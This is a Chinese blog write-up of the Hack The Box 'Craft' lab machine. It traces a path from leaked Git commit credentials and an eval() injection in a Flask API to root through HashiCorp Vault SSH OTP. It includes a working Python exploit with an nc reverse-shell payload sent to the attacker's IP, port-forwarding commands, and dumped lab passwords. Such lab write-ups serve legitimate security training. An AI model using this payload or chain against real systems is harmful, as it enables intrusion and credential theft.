HTB-Craft 一次从git入手的渗透练习

 

之前做了一个HTB的渗透环境,跟以前公司内部渗透的一次场景非常相似,也是提供了API接口,以及一个有漏洞的gitlab,当时经验不足,没有细心查看git commit log,错过了重要的信息。Craft这个渗透环境渗透思路挺值得学习,记录一下整个渗透过程。

 

Port Scan

root@kali:~/pentest/player# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.110 --rate=700

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-12-01 08:46:41 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.110
Discovered open port 6022/tcp on 10.10.10.110
Discovered open port 443/tcp on 10.10.10.110
root@kali:~/pentest/player# nmap -sC -sV -oA Player -p22,6022,443 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-01 08:51 GMT
Nmap scan report for 10.10.10.110
Host is up (0.25s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
| ssh-hostkey:
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=1/8%Time=5E159816%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2.0-Gorn");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

6022端口疑似一个go写的ssh,暂时不知道有啥用。

 

API

使用https访问web

从页面右上角的链接还能发现两个子域名,都添加到hosts。

10.10.10.110 craft.htb api.craft.htb gogs.craft.htb

访问 https://api.craft.htb/api/ ,看英文介绍,貌似是一个管理啤酒生产的系统。

 

Gogs(git)

访问 https://gogs.craft.htb/ ,是一个go语言的开源git服务

https://gogs.craft.htb/Craft/craft-api 有craft-api的项目

看到工单管理(应该就是GitHub的issue吧)那里有一篇记录,点进去工单管理看一看

大概内容是一位印度小哥发现可以填写一个伪造的ABV(查了一下,是Alcohol by Volume,酒精度数),小哥建议在写入数据库前进行检测。项目作者表示“要不你来写,我来测试”。最后,一位胡子大叔提到,他已经修复数据库,建议移除印度小哥写的patch,以防发生意外。看来印度小哥写的代码有点问题。

查看git的commit记录,发现了之前测试的账号密码。

auth=('dinesh', '4aUh0A8PbVJxgd')

尝试使用这个账号密码登陆这个网站,发现可以使用?。继续往下看,可以找到印度小哥写的patch,使用了eval这种骚操作进行判断,惊了。

下载源码进行简单审计,eval部分代码在post brew处,需要先进行登陆认证,可以使用印度小哥的测试账号,登陆成功会返回一个token,将token写入http头X-Craft-Api-Token字段即可进行post brew操作。

    @auth.auth_required
    @api.expect(beer_entry)
    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']):
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

用测试的账号密码进行auth,然后在abv字段进行代码注入,写个python脚本反弹shell。

import requests
from requests.auth import HTTPBasicAuth
import json

session = requests.Session()

response = session.get("https://api.craft.htb/api/auth/login",auth=HTTPBasicAuth("dinesh","4aUh0A8PbVJxgd"),verify=False)

token = json.loads(response.content)['token']
print(token)

data = {
          "id": 111,
          "brewer": "string",
          "name": "string",
          "style": "string",
          "abv": "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f')"
        }

rawBody = json.dumps(data)
print(rawBody)
headers = {"X-Craft-Api-Token":token,"Content-Type": "application/json"}
response = session.post("https://api.craft.htb/api/brew/", data=rawBody, headers=headers,verify=False)

本地监听23333端口,运行脚本就拿到shell,直接输入id发现直接就是root,不过翻了一下目录并没有找到flag,再看了一下系统版本和根目录的文件,目测是一个docker,并没有拿到服务器shell。

/home # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home # uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
/home # ls -al /
total 64
drwxr-xr-x    1 root     root          4096 Feb 10  2019 .
drwxr-xr-x    1 root     root          4096 Feb 10  2019 ..
-rwxr-xr-x    1 root     root             0 Feb 10  2019 .dockerenv
drwxr-xr-x    1 root     root          4096 Feb  6  2019 bin
drwxr-xr-x    5 root     root           340 Jan  9 05:45 dev

在docker里面发现一个源码不存在的setting文件,这个文件写进.gitignore了,所以没有上传到git项目,里面找到了数据库的账号密码。

/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

留意到MYSQL_DATABASE_HOSTdb,直接ping一下看看是什么IP好了。

/opt/app/craft_api # ping db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.083 ms

docker本地没有mysql,我直接把端口转发回来

#本地执行
./ew -s lcx_listen -l 40010 -e 40020

#目标执行
./ew -s lcx_slave -d 10.10.15.55 -e 40020 -f 172.20.0.4 -g 3306

ew缺库跑不起来,还是用nps吧

./npc -server=10.10.15.55:44445 -vkey=bvpdlhuoptjw2wrg

使用nps的代理连接数据库,发现报错连不上。查了一下报错信息,原因可能是对方mysql是8.0,MySQL8.0.11版本默认的认证方式是caching_sha2_passwor,我本地版本太低,不支持默认的密码加密方式,导致连接不上。

> mysql -h 172.20.0.4 -u craft -p
Enter password: **************
ERROR 2059 (HY000): Authentication plugin 'caching_sha2_password' cannot be loaded: 找不到指定的模块。

懒得下载MySQL8.0,直接用python脚本连接数据库

#!/usr/bin/env python
import pymysql
import sys

# test connection to mysql database
connection = pymysql.connect(host='172.20.0.4',
                             user='craft',
                             password='qLGockJ6G2J75O',
                             db='craft',
                             cursorclass=pymysql.cursors.DictCursor)
try:
    with connection.cursor() as cursor:
        cursor.execute(sys.argv[1])
        result = cursor.fetchall()
        print(result)
finally:
    connection.close()

在数据库中没找到flag,不过找到了另外两个项目人员的密码。

X:tmpew
> py -2 mysql.py "show tables;"
[{u'Tables_in_craft': 'brew'}, {u'Tables_in_craft': 'user'}]

X:tmpew
> py -2 mysql.py "s*lect * from user;"
[{u'username': 'dinesh', u'password': '4aUh0A8PbVJxgd', u'id': 1},
{u'username': 'ebachman', u'password': 'llJ77D8QFkLPQB', u'id': 4},
{u'username': 'gilfoyle', u'password': 'ZEU3N8WNM2rh4T', u'id': 5}]

 

Gogs Repository

ebachman的账号密码提示不对(安全意识不错呀),gilfoyle的账号成功登陆,并且发现他有一个私有项目。

项目的目录结构如下:

X:tmpcraft-infra
> ls -al
total 12
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 ./
drwxr-xr-x 1 kira 197121    0 Jan  9 15:53 ../
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 .ssh/
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 craft-flask/
-rw-r--r-- 1 kira 197121 1116 Feb 10  2019 docker-compose.yml
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 mysql/
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 nginx/
drwxr-xr-x 1 kira 197121    0 Feb 10  2019 vault/

简单看了一下代码,整个站包括api,git,mysql,nginx,还有一个vault都是用docker起的。关键还有个rsa的私钥,估计可以用来登陆服务器。

gilfoyle@craft:~$ pwd
/home/gilfoyle
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4xxxxxxxxxxxxxxxxxxxxxxxxx5a612d4

直接拿私钥登陆拿到低权限的flag。

 

Vault(Privilege Escalation)

继续查看craft-infra项目的代码,留意到vault这个应用上面渗透的过程中一直没见到,可能是一个特殊用途的应用,查看项目的commit log,可以发现一些端倪。

查一下什么是Vault。

vault是一个密码/证书集中式管理工具,通过HTTP-API对外提供统一的密码访问入口,并且提供权限控制以及详细的日志审计功能。

根据上面的代码,猜测可以通过Vault获取到root的权限。Vault提供了web接口和cli接口,看git的commit log,作者关闭了web入口,所以我们nmap扫描的时候也没有发现8200端口。

我们已经拿到shell了,因此没有web接口问题不大,可以直接使用cli。

官方手册地址:https://www.vaultproject.io/docs/

先对照官方手册研究一下配置文件干了什么。

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh # 使能ssh secrets engine 目录为: ssh/

vault write ssh/roles/root_otp  # 将数据写入指定路径
    key_type=otp 
    default_user=root 
    cidr_list=0.0.0.0/0

简单来说就是开启了SSH Secrets Engine,key模式为otp(The One-Time SSH Password),默认用户是root,没有限制登录ip。使用secrets list可以查看已开启的Secrets Engine。

gilfoyle@craft:~$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

使用read可以查看已写入的配置

gilfoyle@craft:~$ vault read ssh/roles/root_otp
Key                  Value
---                  -----
allowed_users        n/a
cidr_list            0.0.0.0/0
default_user         root
exclude_cidr_list    n/a
key_type             otp
port                 22

使用vault ssh进行连接,官方文档有ssh的命令格式,对着敲就行了,vault会自动生成OTP,复制OTP填入Password即可登陆。

SSH using the OTP mode (requires sshpass for full automation):

$ vault ssh -mode=otp -role=my-role user@1.2.3.4
gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@10.10.10.110
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 66181c61-6b2d-46b7-ad08-ce33d1323bf2


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |_________/|/ _ 
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | _| |
   |  |  |  |  |___/
   |_|__|__|_/|
    _________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# ls
root.txt
root@craft:~# cat root.txt
831d6xxxxxxxxxxxxxx28a11591

至此获取root权限,渗透结束。

 

总结

程序员在开发的时候可能会在代码仓库留下很多开发过程的测试账号和修bug记录,对此进行审计是渗透过程的重要突破口。

(完)